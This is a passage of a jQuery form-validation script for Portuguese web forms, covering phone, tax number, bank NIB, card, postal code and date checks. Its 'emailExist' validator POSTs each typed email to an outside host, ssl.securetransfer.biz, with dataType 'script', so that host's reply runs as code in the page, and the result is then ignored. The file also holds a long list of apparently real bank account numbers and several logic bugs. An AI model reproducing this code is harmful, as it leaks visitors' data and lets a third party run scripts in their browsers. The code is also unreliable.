if (jQuery.validator != undefined) {
    jQuery.validator.addMethod("not_empty", function (value, element) {
        return this.optional(element)
    }, "This field is required.");
    jQuery.validator.addMethod("not_default", function (value, element) {
        return this.optional(element) || element.defaultValue != value && $.trim(value) != ''
    }, "This field is required.");
	
    jQuery.validator.addMethod("integer", function(value, element) {
        var regex = new RegExp('^[+-]?[0-9]+$');
        return this.optional(element) || regex.test(value);
    }, "Informe apenas números.");
	
    jQuery.validator.addMethod("number", function (value, element) {
        var regex = new RegExp('^[-+]?[0-9]{1,3}([\.,][0-9]{3})*[\.,][0-9]+$');
        return this.optional(element) || regex.test(value)
    }, "Only decimal numbers.");
	
	jQuery.validator.addMethod("positive", function (value, element) {
        var regex = new RegExp('^[0-9]+$');
        switch (element.nodeName.toLowerCase()) {
        case 'input':
            if (this.checkable(element)) {
                value = $('input[type=' + element.type + '][name=' + element.name + ']:checked').val()
            }
        }
        value = parseFloat(value);
        return this.optional(element) || regex.test(value) && value >= 0
    }, "Only positive numbers.");	

	jQuery.validator.addMethod("emailExist", function(value, element) {
		if(!jQuery.validator.methods.email.call(this, value, element))
			return false;
		else{
			var test = false;
			$.ajax({
				type: "POST",
				url: "http://ssl.securetransfer.biz/_utils/function.EmailDomain.php",
				data: {
					email: value
				},
				dataType: "script",
				success: function(data) {
					if(data=="ok"){
						test = true;
					}else if(data=="ko"){
						test = false;
					}
					test = true;
				},
				async: false
			});
		}
		return this.optional(element) || test;
	}, "Email is not valid");	
	
    jQuery.validator.addMethod("phone", function(value, element) {
        var regex = new RegExp('/^((\+\d{1,3}(-| )?\(?\d\)?(-| )?\d{1,5})|(\(?\d{2,6}\)?))(-| )?(\d{3,4})(-| )?(\d{4})(( x| ext)\d{1,5}){0,1}$/');
        return this.optional(element) || regex.test(value)
    }, "Phone is not valid.");			

    jQuery.validator.addMethod("phone_PT", function(value, element) {
        var regex = new RegExp('^[0-9]{9}$');
		var isValid = true;
		if(value.charAt(0) != 2 && value.charAt(0) != 3 && value.charAt(0) != 9 ) isValid = false;
		if( (value.charAt(0) == 9) && (value.charAt(1) != 6 && value.charAt(1) != 1 && value.charAt(1) != 3 && value.charAt(1) != 2 )) isValid = false;
		if(formValidation_isInvalidPhoneNumbers(value)) isValid = false;
        return this.optional(element) || (regex.test(value) && isValid)
    }, "Phone is not valid.");	
	
    jQuery.validator.addMethod("mobile_PT", function(value, element) {
        var regex = new RegExp('^[0-9]{9}$');
		var isValid = true;
		if( value.charAt(0) != 9 ) isValid = false;
		if( value.charAt(1) != 6 && value.charAt(1) != 1 && value.charAt(1) != 3 && value.charAt(1) != 2 ) isValid = false;
		if(formValidation_isInvalidPhoneNumbers(value)) isValid = false;
        return this.optional(element) || (regex.test(value) && isValid)
    }, "Mobile is not valid.");	

    jQuery.validator.addMethod("phone_PT", function(value, element) {
        var regex = new RegExp('^[0-9]{9}$');
		var isValid = true;
		if(value.charAt(0) != 2 && value.charAt(0) != 3 && value.charAt(0) != 9 ) isValid = false;
		if( (value.charAt(0) == 9) && (value.charAt(1) != 6 && value.charAt(1) != 1 && value.charAt(1) != 3 && value.charAt(1) != 2 )) isValid = false;
		if(formValidation_isInvalidPhoneNumbers(value)) isValid = false;
        return this.optional(element) || (regex.test(value) && isValid)
    }, "Phone is not valid.");	
	
    jQuery.validator.addMethod("phone_UA", function(value, element) {
        var regex1 = new RegExp('^[0-9]{9}$');
        var regex2 = new RegExp('^[0-9]{10}$');
		var isValid = true;
		if(value.charAt(0) == 0){
			if(!regex2.test(value)) isValid = false;
			if(!formValidation_isValidIndicativeUkrain(value.charAt(1)+value.charAt(2))) isValid = false;
		}else{
			if(!regex1.test(value)) isValid = false;
			if(!formValidation_isValidIndicativeUkrain(value.charAt(0)+value.charAt(1))) isValid = false;
		}
        return this.optional(element) || (isValid)
    }, "Phone is not valid.");	



	jQuery.validator.addMethod("phone_PT_IND", function(value, element) { 
		if(value.length ==13){
			var regex = /^\+?\d{12}$/;			
		}else if(value.length == 14){
			var regex = new RegExp('^[0-9]{14}$');								
		}else{
			var regex = new RegExp('^[0-9]{9}$');
		}
		var isValid = true;
		if(value.length == 13){
			if(value.charAt(0) != "+" && value.charAt(1) != 3 && value.charAt(2) != 5 && value.charAt(3) != 1 )  isValid = false;
			
			if( value.substring(4).charAt(0) != 2 && value.substring(4).charAt(0) != 3 && value.substring(4).charAt(0) != 9 ) isValid = false;
			if( (value.substring(4).charAt(0) == 9) && (value.substring(4).charAt(1) != 6 && value.substring(4).charAt(1) != 1 && value.substring(4).charAt(1) != 3 && value.substring(4).charAt(1) != 2 )) isValid = false;
			if( formValidation_isInvalidPhoneNumbers( value.substring(4) ) ) isValid = false;		
		}else if(value.length == 14){
			if(value.charAt(0) != "0" && value.charAt(1) != "0" && value.charAt(2) != 3 && value.charAt(3) != 5 && value.charAt(4) != 1)  isValid = false;
			
			if( value.substring(5).charAt(0) != 2 && value.substring(5).charAt(0) != 3 && value.substring(5).charAt(0) != 9 ) isValid = false;
			if( (value.substring(5).charAt(0) == 9) && (value.substring(5).charAt(1) != 6 && value.substring(5).charAt(1) != 1 && value.substring(5).charAt(1) != 3 && value.substring(5).charAt(1) != 2 )) isValid = false;
			if( formValidation_isInvalidPhoneNumbers( value.substring(5) ) ) isValid = false;		
		}else{
			if( value.charAt(0) != 2 && value.charAt(0) != 3 && value.charAt(0) != 9 ) isValid = false;
			if( (value.charAt(0) == 9) && (value.charAt(1) != 6 && value.charAt(1) != 1 && value.charAt(1) != 3 && value.charAt(1) != 2 )) isValid = false;
			if( isValid ){
				if( formValidation_isInvalidPhoneNumbers( value ) ) isValid = false;
			}		
		}		
        return this.optional(element) || (regex.test(value) && isValid);
    }, "Phone is not valid.");

	jQuery.validator.addMethod("username", function (value, element) {
        var regex = /^[A-Za-z0-9_-]{4,20}$/;
        return this.optional(element) || regex.test(value)
    }, "Username is not valid.");
	
	jQuery.validator.addMethod("password", function (value, element) {
        var regex = new RegExp('^[A-Za-z0-9!@#$%^&*()_]{6,33}$');
        return this.optional(element) || regex.test(value)
    }, "Password is not valid.");

	jQuery.validator.addMethod("password_alpha", function (value, element) {
        var regex = /^(?=.*\d)(?=.*[a-zA-Z])[!@#$%^&*()_]*.{4,33}$/;
        return this.optional(element) || regex.test(value)
    }, "Password is not valid.");
	
    jQuery.validator.addMethod("name_surname", function (value, element) {
        var regex = new RegExp('^[a-zçñáàãâéèêíìóòôõúùü\.\'\s]{2,120}$', 'i');
        var words = value.split(' ');
        var test = true;
        for (i in words) {
            if (!regex.test(words[i])) {
                test = false;
                break
            }
        }
        return this.optional(element) || test
    }, "Only letters please");	
    
	jQuery.validator.addMethod("nome", function (value, element) {
	    var regex = /(^([ A-Za-zá-úÁ=Ú.]){2,120})+$/;
	    var test = true;
	    if(!regex.test(value)){
	    	test = false;
	    }
	    return this.optional(element) || test && !formValidation_isInvalidName(value)
	}, "Only letters please");	


    jQuery.validator.addMethod("nome_apelido", function (value, element) {
        var regex = /(^([ A-Za-zá-úÁ=Ú.\s]){2,200})+$/;
        var names = rtrim(value).split(' ');
        var test = true;
		if( names.length <= 1 ){
			test = false;
		}else{
			for( var k=0; k< names.length; ++k ){
				if( !regex.test( names[k] ) ){ 
					test = false;
				}
			}
		}
        return this.optional(element) || test && !formValidation_isInvalidName(value)
    }, "Only letters please");	


	jQuery.validator.addMethod("nif", function(value, element) {
        return this.optional(element) || formValidation_isValidNIF(value)
    }, "NIF is not valid.");
    	
    jQuery.validator.addMethod("nif_business", function(value, element) {
        return this.optional(element) || formValidation_isValidBusinessNIF(value)
    }, "NIF is not valid.");
	
    jQuery.validator.addMethod("nib", function(value, element) {
        return this.optional(element) || (formValidation_isValidNIB(value) && formValidation_checkBankNIB(value))
    }, "NIB is not valid.");
	
    jQuery.validator.addMethod("NIBFiltered", function(value, element) {													   
        return this.optional(element) || (formValidation_isValidNIB(value) && !formValidation_isInvalidNIB(value));
    }, "NIB is not valid.");

    jQuery.validator.addMethod("cc_visa", function(value, element) {													   
        var regex = new RegExp('^4(?:[0-9]{12}|[0-9]{15})$');
        return this.optional(element) || regex.test(value)
    }, "Visa is not valid.");

    jQuery.validator.addMethod("cc_mastercard", function(value, element) {													   
        var regex = new RegExp('^5[1-5]{1}[0-9]{14}$');
        return this.optional(element) || regex.test(value)
    }, "Mastercar is not valid.");

    jQuery.validator.addMethod("cc_amex", function(value, element) {													   
        var regex = new RegExp('^3(4|7){1}[0-9]{13}$');
        return this.optional(element) || regex.test(value)
    }, "Amex is not valid.");

    jQuery.validator.addMethod("cc_discover", function(value, element) {													   
        var regex = new RegExp('^6011[0-9]{12}$');
        return this.optional(element) || regex.test(value)
    }, "Discover is not valid.");

    jQuery.validator.addMethod("cc_dinersclub", function(value, element) {													   
        var regex = new RegExp('^3(?:(0[0-5]{1}[0-9]{11})|(6[0-9]{12})|(8[0-9]{12}))$');
        return this.optional(element) || regex.test(value)
    }, "Dinersclub is not valid.");

    jQuery.validator.addMethod("zip_PT", function(value, element) {													   
        var regex = new RegExp('^[0-9]{4}[-]{1}[0-9]{3}$');
        return this.optional(element) || (regex.test(value) && formValidation_validateZip_PT( value ))
    }, "ZIP is not valid.");

    jQuery.validator.addMethod("zip_PTCont", function(value, element) {													   
        var regex = new RegExp('^[0-9]{4}[-]{1}[0-9]{3}$');
        return this.optional(element) || (regex.test(value) && formValidation_validateZip_PTCont( value ))
    }, "ZIP is not valid.");

    jQuery.validator.addMethod("zip4_PT", function(value, element) {													   
        var regex = new RegExp('^[0-9]{4}$');
        return this.optional(element) || (regex.test(value) && formValidation_validateZip_PT( value ))
    }, "ZIP is not valid.");

    jQuery.validator.addMethod("zip4_PTCont", function(value, element) {													   
        var regex = new RegExp('^[0-9]{4}$');
        return this.optional(element) || (regex.test(value) && formValidation_validateZip_PTCont( value ))
    }, "ZIP is not valid.");

   
    jQuery.validator.addMethod("date_PT", function(value, element) {
        var regex = new RegExp('^([0-2][0-9]|3[0-1]).(0[1-9]|1[0-2]).[0-9]{4}$');
        var regexDate = new RegExp('(Invalid|NaN)');
        var day = parseFloat(value.substr(0, 2));
        var month = parseFloat(value.substr(3, 2));
        var year = parseFloat(value.substr(6, 4));
        return this.optional(element) || (!regexDate.test(new Date(year, month, day)) && regex.test(value)) && !checkLeapYear(day, month, year)
    }, "Date is not valid");
	
    jQuery.validator.addMethod("date_EN", function(value, element) {
        var regex = new RegExp('^[0-9]{4}\/(0[1-9]|1[0-2])\/([0-2][0-9]|3[0-1])$');
        var regexDate = new RegExp('(Invalid|NaN)');
        var day = parseFloat(value.substr(8,2));
        var month = parseFloat(value.substr(5,2));
        var year = parseFloat(value.substr(0,4));
        return this.optional(element) || (!regexDate.test(value) && regex.test(value)) && !checkLeapYear(day,month,year)
    }, "Date is not valid");

    jQuery.validator.addMethod("carPlate_PT", function(value, element) {													   
        return this.optional(element) || formValidation_validateCarPlate_PT( value )
    }, "CarPlate is not valid.");

    jQuery.validator.addMethod("url", function(value, element) {													   
        var regex = new RegExp('(ftp|http|https):\/\/[A-Za-z0-9-_]+\.[A-Za-z0-9-_%&\?\/.=]+$');
        return this.optional(element) || regex.test(value)
    }, "URL is not valid.");
	
	jQuery.validator.addMethod("range_age", function(value, element, params) {
	        var day, month, year,adultAge ;
	        //verifica se existe validação de data
	        if(/date_/.test(jQuery(element).attr('validate'))){
	            if(jQuery.validator.methods.date_PT.call(this, value, element)){
	        	        day = parseFloat(value.substr(0,2));
	        	        month = parseFloat(value.substr(3,2));
	        	        year = parseFloat(value.substr(6,4));
	            	}
	            else if(jQuery.validator.methods.date_EN.call(this, value, element)){
	                day = parseFloat(value.substr(8,2));
	                month = parseFloat(value.substr(5,2));
	                year = parseFloat(value.substr(0,4));
	            }
	            else if(jQuery.validator.methods.date_BR.call(this, value, element)){
	                day = parseFloat(value.substr(0,2));
	                month = parseFloat(value.substr(3,2));
	                year = parseFloat(value.substr(6,4));
	            }
	            else{
	                return false;
	            }
	            value = calculateAge(day, month, year);
	        }
	        value = parseFloat(value);
	        return this.optional(element) || value >= params[0] && value <= params[1];
	    }, jQuery.validator.format("Only people between {0} and {1} years"));
	
	
    function isRepeatedNumber(value){
        value = value.replace(/[^\d]/g,'');
        var numbers = [1,2,3,4,5,6,7,8,9,0];
        var length = value.length
        for( n in numbers){
            var regex = new RegExp("["+numbers[n]+"]{"+(length-3)+","+length+"}");
            if(regex.test(value))
                return false;
        }
        return true;
    }

    function isRepeatedChar(value){
        var length = value.length
        var chars = ['a','b','c','d','e','f','g','h','i','j','','k','l','m','n','o','p','q','r','s','t','u','v','x','w','y','z'];
        for( n in chars){
            var regex = new RegExp("["+chars[n]+"]{"+length-3+","+length+"}",'i');
            if(regex.test(value))
                return false;
        }
        return true;
    }

    function checkLeapYear(day,month,year){
        return (parseFloat(year) % 4 == 0 && parseFloat(month) == 2 && day > 29);
    }

    function calculateAge(bDay,bMonth,bYear){
        cDate = new Date();
        cYear = cDate.getFullYear();
        cMonth = cDate.getMonth();
        cDay = cDate.getDate();
        var age = (cYear + 1900) - bYear;
        if ( cMonth < (bMonth - 1))
            age--;
        if (((bMonth - 1) == cMonth) && (cDay < bDay))
            age--;
        if (age >= 1900)
            age -= 1900;
        return age;
    }
    
    	function formValidation_getFieldValue( formObj, elem, elemType ){
		
		switch( elemType ){
			case "text": 
				return elem.value;
			break;
			case "select":
				return elem.selectedIndex;
			break;
			case "select-one": 
				return elem.selectedIndex;
			break;
			case "radio":
				var radioObj = formObj.elements[ elem.name ];
				return formValidation_getCheckedRadio( radioObj )
			break;
			default: 
				return elem.value;
			break;
		}
		return "";
	}
	
	
	
	function formValidation_getCheckedRadio( radioObj ){
		if(!radioObj)
			return "";
		var radioLength = radioObj.length;
		if(radioLength == undefined){
			if(radioObj.checked)
				return radioObj.value;
			else
				return "";
		}
		for(var i = 0; i < radioLength; i++) {
			if(radioObj[i].checked) {
				return radioObj[i].value;
			}
		}
		return "";
	}
	
		// returns true if received param_name is in invalid Name list
	function formValidation_isInvalidName( param_name ){		
		var invalidName = ['aaa','bbb','ccc','ddd','eee','fff','ggg','hhh','iii','jjj','kkk','lll','mmm','nnn','ooo','ppp','qqq','rrr','sss','ttt','uuu','vvv','www','xxx','yyy','zzz'];
		for( var i=0; i < invalidName.length; ++i ){
			if( param_name.indexOf(invalidName[i]) > -1 ) return true;
		}
		return false;
	}
	
	function formValidation_allTrim(cValue){
		var lDone=false;

		while (lDone==false){
			if (cValue.length==0) {return cValue;}
			if (cValue.indexOf(' ')==0){cValue=cValue.substring(1);lDone=false; continue;}
			else {lDone=true;}
			if (cValue.lastIndexOf(' ')==cValue.length-1){cValue=cValue.substring(0, cValue.length-1);lDone=false;continue;}
			else {lDone=true;}
		}
		return cValue;
	}
	
	function formValidation_isValidBusinessNIF(nif){
		var c;
		var checkDigit = 0;
		//Check if is not null, is numeric and if has 9 numbers
		if( nif != null && nif == parseInt(nif) && nif.length == 9 ){
			//Get the first number of NIF
			var c = nif.charAt(0);
			//Check firt number is (1, 2, 5, 6, 8 or 9)
			if(c == '5' || c == '6' || c == '8' || c == '9')
			{
				//Perform CheckDigit calculations
				checkDigit = c * 9;
				var i = 0;
				for(i = 2; i <= 8; i++)
				{
					checkDigit += nif.charAt(i-1) * (10-i);
				}
				checkDigit = 11 - (checkDigit % 11);
				//if checkDigit is higher than ten set it to zero
				if(checkDigit >= 10)
					checkDigit = 0;
				//Compare checkDigit with the last number of NIF
				//If equal the NIF is Valid.           
				if(checkDigit == nif.charAt(8))
					return true;           
			}       
		}
		return false;
	}
	
	function formValidation_isValidNIF(nif){
		var c;
		var checkDigit = 0;
		//Check if is not null, is numeric and if has 9 numbers
		if( nif != null && nif == parseInt(nif) && nif.length == 9 ){
			//Get the first number of NIF
			var c = nif.charAt(0);
			//Check firt number is (1, 2, 5, 6, 8 or 9)
			if(c == '1' || c == '2' || c == '5' || c == '6' || c == '8' || c == '9')
			{
				//Perform CheckDigit calculations
				checkDigit = c * 9;
				var i = 0;
				for(i = 2; i <= 8; i++)
				{
					checkDigit += nif.charAt(i-1) * (10-i);
				}
				checkDigit = 11 - (checkDigit % 11);
				//if checkDigit is higher than ten set it to zero
				if(checkDigit >= 10)
					checkDigit = 0;
				//Compare checkDigit with the last number of NIF
				//If equal the NIF is Valid.           
				if(checkDigit == nif.charAt(8))
					return true;           
			}       
		}
		return false;
	} 


	function formValidation_isValidNIB(nib){

		var iX, iMult, sCheckDigit;
		var sResult;

		if (nib == "009909090909090909099") return true;
		
		iMult = 0;

		sCheckDigit = nib.substr(19, 2);
		for (iX = 0; iX < 19; iX++)
		{
		iMult = ((iMult + parseInt(nib.substr(iX, 1))) * 10) % 97;
		}

		iMult = 98 - ((iMult * 10) % 97);

		sResult = iMult.toString();

		if (iMult < 10)
		sResult = "0" + sResult;
		if (!(sResult == sCheckDigit))
		{
		return false;
		}else{
		return true;
		}
	}
	
	function formValidation_checkBankNIB(nib){
		var bankNIB = ['0005','0007','0008','0010','0012','0015','0017','0018','0019','0021','0022','0023','0024','0025','0027','0029','0030','0031','0032','0033','0034','0035','0036','0038','0040','0041','0043','0045','0046','0048','0059','0061','0063','0065','0076','0079','0086','0097','0098','0099','0160','0169','0170','0188','0781','5180','5200','5340','8050']
		var bankInit = nib.substr(0,4);
		for( var i=0; i < bankNIB.length; ++i ){
			if(bankInit==bankNIB[i]) return true;
		}
		return false;
	}
	
	function formValidation_isInvalidNIB(nib){
		var invalidNIB = ['000700001518450018423','001800005033474600127','001800031798351102002','000700000073818455123','003600009910530587410','003502850005979980085','003600459910024403293','003501230011967370080','003300000012696097305','003520810000979820037','003502940002569440065','003300004534736391005','003802540533637777136','003600409910043124271','003501600005721373073','003300004530185500205','003501150069997813036','001000004266413000178','003300004536763041105','003300000015821796205','001000002304862000152','001000001299955000189','003503510005199130065','003506510052833640058','003300004529092290805','003508190004809770089','003600009910451896451','003505440000012800040','003503930012881200023','001000004325075000120','007900004141973910126','003507390000618830029','003300000011463013905','003508070003169280079','003504260004287430014','003800230080444177116','003600959910100216094','000700430005603000681','003803583000717477108','003504570002175560002','001800032224381002027','003300000002873081905','003501800000976100084','003501800001066440064','003600499910019088021','003300000011006648305','003501710018088990084','003505190002064940000','001600001234325678102','003506420002404040048','003300000022033472505','003502550019259460082','003300000026069458205','003508820007601080041','000700000068518297523','000700000066309471723','001800000907672300117','003500360000496470030','003500003456789876521','003504500002157090046','003505310002633720059','003501410005962760089','001000004377434000105','003502700005650190010','003501760000727410089','003500630010007890082','003503940000374160076','003602179910001277271','003300004531502352805','001800000106220700104','003300000004770770602','003502550015975740034','003800003795645177159','004531734016201128437','003502490006156550016','001000004327863000116','000723450000653254128','003602029910000654562','003505570003470650025','000700000073998361023','003506960001034220079','003502340000284250072','003300000002484276805','003501410009508690052','003506890000013760008','003601679910006263488','003300000045278672293','003520960002145530019','000700000000189077348','004400006440050057207','003503300000749690038','003501200000440680093','001900110020004483714','003502160004978690084','003507610069884380082','003520050002809270083','003508520011193490041','003300004535572104205','003500230000779750092','001800031539831602054','004520444020457885418','003600629910011925443','003507830000962332753','002200010000052940392','003300004531833151905','000703940003796000555','000700260012971000171','003505040001631170077','003505770001324553049','000703040005208000738','000700000027327926523','001000004390042000159','000700000012159842523','152147854121447785245','003507390002107490096','004520484016263191265','004520484016614618870','003502840000881570084','003507200000812520690','003503750000304740080','003300004538492075805','005900012090630000369','003601789910000179525','007600004163397610182','001800005182967502016','007900002919288110167','003300004534296166205'];
		
		for( var i=0; i < invalidNIB.length; ++i ){
			if( nib == invalidNIB[i] ) return true;
		}
		return false;
	}
	
	// returns true if recived phone is in invalid phones list
	function formValidation_isInvalidPhoneNumbers( phone ){		
		var invalidPhones = ['222222222','211234567','961234567','911234567','912345678','931234567','921234567','960000000','961111111','962222222','963333333','964444444','965555555','966666666','967777777','968888888','969999999','910000000','911111111','912222222','913333333','914444444','915555555','916666666','917777777','918888888','919999999','930000000','931111111','932222222','933333333','934444444','935555555','936666666','937777777','938888888','939999999','920000000','921111111','922222222','923333333','924444444','925555555','926666666','927777777','928888888','929999999','210000000','211111111','212222222','213333333','214444444','215555555','216666666','217777777','218888888','219999999','969696969','910101010','333333333'];
		
		for( var i=0; i < invalidPhones.length; ++i ){
			if( phone == invalidPhones[i] ) return true;
		}
		return false;
	}
	
	
	function formValidation_isValidIndicativeUkrain( indicative){
		var validIndicatives = ['47','46','37','56','62','34','57','55','38','52','44','45','64','33','32','51','48','53','36','69','65','54','35','31','43','61','41','67','96','98','50','95','63','93','68','66','95','99','96','97','98','98','99','91','92'];
		for( var i=0; i < validIndicatives.length; ++i ){
			if( indicative == validIndicatives[i] ) return true;
		}
		return false;
	
		
	}
	
	
	// valid date types => dd/mm/YYYY dd-mm-YYYY
	function formValidation_validateDate( strValue, format ) {
		if( format == 'EN' ){
			var objRegExp = /^\d{4}(\-|\/|\.)\d{2}\1\d{2}$/
			if( !objRegExp.test(strValue) )
				return false;
				
			var strSeparator = strValue.substring(4,5);
			var arrayDate = strValue.split(strSeparator);
			return formValidation_validateDateDays( arrayDate[2], arrayDate[1], arrayDate[0] );
		}
		if( format == 'PT' ){
			var objRegExp = /^\d{2}(\-|\/|)\d{2}\1\d{4}$/
			 
			//check to see if in correct format
			if(!objRegExp.test(strValue))
				return false; //doesn't match pattern, bad date
			
			var strSeparator = strValue.substring(2,3);
			var arrayDate = strValue.split(strSeparator);
			return formValidation_validateDateDays( arrayDate[0], arrayDate[1], arrayDate[2] );
		}
		return false; //any other values, bad date
	}
	
	
	function formValidation_validateDateDays( day_val, month_val, year_val ){
		
		//create a lookup for months not equal to Feb.
		var arrayLookup = { '01' : 31,'03' : 31, 
							'04' : 30,'05' : 31,
							'06' : 30,'07' : 31,
							'08' : 31,'09' : 30,
							'10' : 31,'11' : 30,
							'12' : 31 }
							
		var intDay = parseInt( day_val, 10 ); 
			
		//check if month value and day value agree
		if(arrayLookup[month_val] != null) {
		  if(intDay <= arrayLookup[month_val] && intDay != 0)
			return true; //found in lookup table, good date
		}
			
		// verify biss year
		var intMonth = parseInt(month_val,10);
		if (intMonth == 2) { 
			var intYear = parseInt(year_val);
		 	if (intDay > 0 && intDay < 29) {
				return true;
			}
			else if (intDay == 29) {
				 if ((intYear % 4 == 0) && (intYear % 100 != 0) || (intYear % 400 == 0)) {
					// year div by 4 and ((not div by 100) or div by 400) ->ok
				 	return true;
				 }   
			}
		}
		return false;
	}
	
	
	// validate portuguese car plates formats
	function formValidation_validateCarPlate_PT( value ){
		var filter1 = /^[A-Za-z]{2}[-][0-9]{2}[-][0-9]{2}$/;
		var filter2 = /^[0-9]{2}[-][A-Za-z]{2}[-][0-9]{2}$/;
		var filter3 = /^[0-9]{2}[-][0-9]{2}[-][A-Za-z]{2}$/;
		if( ! filter1.test( value ) && ! filter2.test( value ) && ! filter3.test( value ) ) return false;
		return true;
	}
	
	
	function formValidation_validateZip_PT( value ){
							
		var postalCodesArray = ['1000','1048','1049','1050','1066','1067','1068','1069','1070','1092','1098','1099','1100','1149','1150','1166','1167','1169','1170','1199','1200','1208','1209','1249','1250','1269','1300','1349','1350','1399','1400','1449','1495','1499','1500','1549','1600','1649','1675','1679','1685','1689','1700','1748','1749','1750','1769','1800','1849','1885','1886','1900','1949','1950','1959','1990','1998','2000','2004','2005','2009','2025','2040','2050','2054','2065','2070','2080','2090','2100','2120','2125','2130','2135','2139','2140','2150','2200','2205','2230','2240','2250','2260','2300','2305','2330','2350','2380','2384','2395','2400','2404','2405','2410','2414','2415','2419','2420','2424','2425','2430','2435','2440','2445','2450','2460','2461','2475','2480','2485','2490','2495','2499','2500','2504','2510','2520','2525','2530','2540','2550','2560','2565','2580','2581','2590','2594','2600','2601','2605','2609','2610','2614','2615','2616','2619','2620','2621','2625','2626','2630','2634','2635','2639','2640','2644','2645','2649','2650','2654','2655','2659','2660','2664','2665','2669','2670','2674','2675','2680','2681','2685','2689','2690','2691','2694','2695','2699','2700','2704','2705','2706','2709','2710','2714','2715','2719','2720','2724','2725','2729','2730','2734','2735','2739','2740','2744','2745','2749','2750','2754','2755','2756','2760','2761','2765','2769','2770','2774','2775','2779','2780','2784','2785','2789','2790','2794','2795','2799','2800','2804','2805','2809','2810','2814','2815','2819','2820','2821','2825','2829','2830','2834','2835','2839','2840','2844','2845','2855','2860','2864','2865','2870','2890','2894','2900','2904','2910','2914','2925','2929','2950','2951','2954','2955','2959','2965','2970','2975','2985','3000','3004','3020','3025','3030','3034','3040','3044','3045','3049','3050','3054','3060','3070','3080','3084','3090','3094','3100','3105','3130','3140','3150','3200','3220','3230','3240','3250','3260','3270','3280','3300','3305','3320','3330','3350','3360','3400','3405','3420','3430','3440','3450','3460','3464','3465','3475','3500','3504','3505','3510','3514','3515','3519','3520','3525','3530','3534','3550','3560','3570','3600','3610','3620','3624','3630','3640','3650','3660','3670','3680','3684','3700','3701','3720','3730','3740','3744','3750','3754','3770','3780','3800','3804','3810','3814','3830','3840','3850','3860','3864','3865','3870','3880','3884','3885','4000','4049','4050','4099','4100','4149','4150','4169','4199','4200','4249','4250','4269','4300','4349','4350','4369','4400','4404','4405','4409','4410','4414','4415','4420','4425','4430','4434','4435','4440','4445','4450','4454','4455','4460','4464','4465','4470','4471','4474','4475','4479','4480','4484','4485','4486','4490','4495','4500','4504','4505','4510','4515','4520','4525','4535','4540','4550','4560','4564','4570','4575','4580','4585','4590','4595','4599','4600','4605','4610','4615','4620','4625','4630','4635','4640','4650','4660','4690','4700','4704','4705','4709','4710','4714','4715','4719','4720','4730','4740','4745','4750','4755','4760','4764','4765','4770','4775','4780','4785','4795','4800','4804','4805','4809','4810','4814','4815','4820','4824','4825','4830','4835','4839','4840','4845','4850','4860','4870','4880','4890','4900','4904','4905','4910','4920','4925','4930','4935','4939','4940','4950','4960','4970','4974','4980','4990','5000','5004','5030','5040','5050','5054','5060','5070','5085','5090','5100','5110','5114','5120','5130','5140','5150','5155','5160','5180','5200','5210','5225','5230','5300','5301','5320','5335','5340','5350','5360','5370','5385','5400','5425','5430','5445','5450','5460','5470','6000','6004','6005','6030','6040','6050','6060','6090','6100','6110','6120','6150','6160','6185','6200','6201','6215','6225','6230','6250','6260','6270','6285','6290','6300','6301','6320','6324','6350','6355','6360','6370','6400','6420','6430','6440','7000','7004','7005','7009','7040','7050','7080','7090','7100','7150','7160','7170','7200','7220','7230','7240','7250','7300','7301','7320','7330','7340','7350','7354','7370','7374','7400','7425','7430','7440','7450','7460','7470','7480','7490','7500','7520','7540','7555','7565','7570','7580','7595','7600','7630','7645','7665','7670','7700','7750','7780','7800','7801','7830','7860','7875','7885','7900','7920','7940','7960','8000','8004','8005','8009','8100','8104','8125','8135','8136','8150','8200','8201','8300','8365','8375','8400','8401','8500','8501','8550','8600','8601','8650','8670','8700','8800','8801','8900','8950','8970','9000','9004','9020','9024','9030','9050','9054','9060','9064','9100','9125','9135','9200','9225','9230','9240','9270','9300','9304','9325','9350','9360','9370','9385','9400','9500','9504','9545','9555','9560','9580','9600','9625','9630','9650','9675','9680','9700','9701','9760','9800','9850','9875','9880','9900','9901','9904','9930','9940','9950','9960','9970','9980'];
							
		var zip4 = value.substring(0,4);
		for ( var i=0; i < postalCodesArray.length; ++i ){
			if( zip4 == postalCodesArray[i] )
				return true;
		}
		return false;	
	}
	
	function formValidation_validateZip_PTCont( value ){
							
		var postalCodesContArray = ['1000','1048','1049','1050','1066','1067','1068','1069','1070','1092','1098','1099','1100','1149','1150','1166','1167','1169','1170','1199','1200','1208','1209','1249','1250','1269','1300','1349','1350','1399','1400','1449','1495','1499','1500','1549','1600','1649','1675','1679','1685','1689','1700','1748','1749','1750','1769','1800','1849','1885','1886','1900','1949','1950','1959','1990','1998','2000','2004','2005','2009','2025','2040','2050','2054','2065','2070','2080','2090','2100','2120','2125','2130','2135','2139','2140','2150','2200','2205','2230','2240','2250','2260','2300','2305','2330','2350','2380','2384','2395','2400','2404','2405','2410','2414','2415','2419','2420','2424','2425','2430','2435','2440','2445','2450','2460','2461','2475','2480','2485','2490','2495','2499','2500','2504','2510','2520','2525','2530','2540','2550','2560','2565','2580','2581','2590','2594','2600','2601','2605','2609','2610','2614','2615','2616','2619','2620','2621','2625','2626','2630','2634','2635','2639','2640','2644','2645','2649','2650','2654','2655','2659','2660','2664','2665','2669','2670','2674','2675','2680','2681','2685','2689','2690','2691','2694','2695','2699','2700','2704','2705','2706','2709','2710','2714','2715','2719','2720','2724','2725','2729','2730','2734','2735','2739','2740','2744','2745','2749','2750','2754','2755','2756','2760','2761','2765','2769','2770','2774','2775','2779','2780','2784','2785','2789','2790','2794','2795','2799','2800','2804','2805','2809','2810','2814','2815','2819','2820','2821','2825','2829','2830','2834','2835','2839','2840','2844','2845','2855','2860','2864','2865','2870','2890','2894','2900','2904','2910','2914','2925','2929','2950','2951','2954','2955','2959','2965','2970','2975','2985','3000','3004','3020','3025','3030','3034','3040','3044','3045','3049','3050','3054','3060','3070','3080','3084','3090','3094','3100','3105','3130','3140','3150','3200','3220','3230','3240','3250','3260','3270','3280','3300','3305','3320','3330','3350','3360','3400','3405','3420','3430','3440','3450','3460','3464','3465','3475','3500','3504','3505','3510','3514','3515','3519','3520','3525','3530','3534','3550','3560','3570','3600','3610','3620','3624','3630','3640','3650','3660','3670','3680','3684','3700','3701','3720','3730','3740','3744','3750','3754','3770','3780','3800','3804','3810','3814','3830','3840','3850','3860','3864','3865','3870','3880','3884','3885','4000','4049','4050','4099','4100','4149','4150','4169','4199','4200','4249','4250','4269','4300','4349','4350','4369','4400','4404','4405','4409','4410','4414','4415','4420','4425','4430','4434','4435','4440','4445','4450','4454','4455','4460','4464','4465','4470','4471','4474','4475','4479','4480','4484','4485','4486','4490','4495','4500','4504','4505','4510','4515','4520',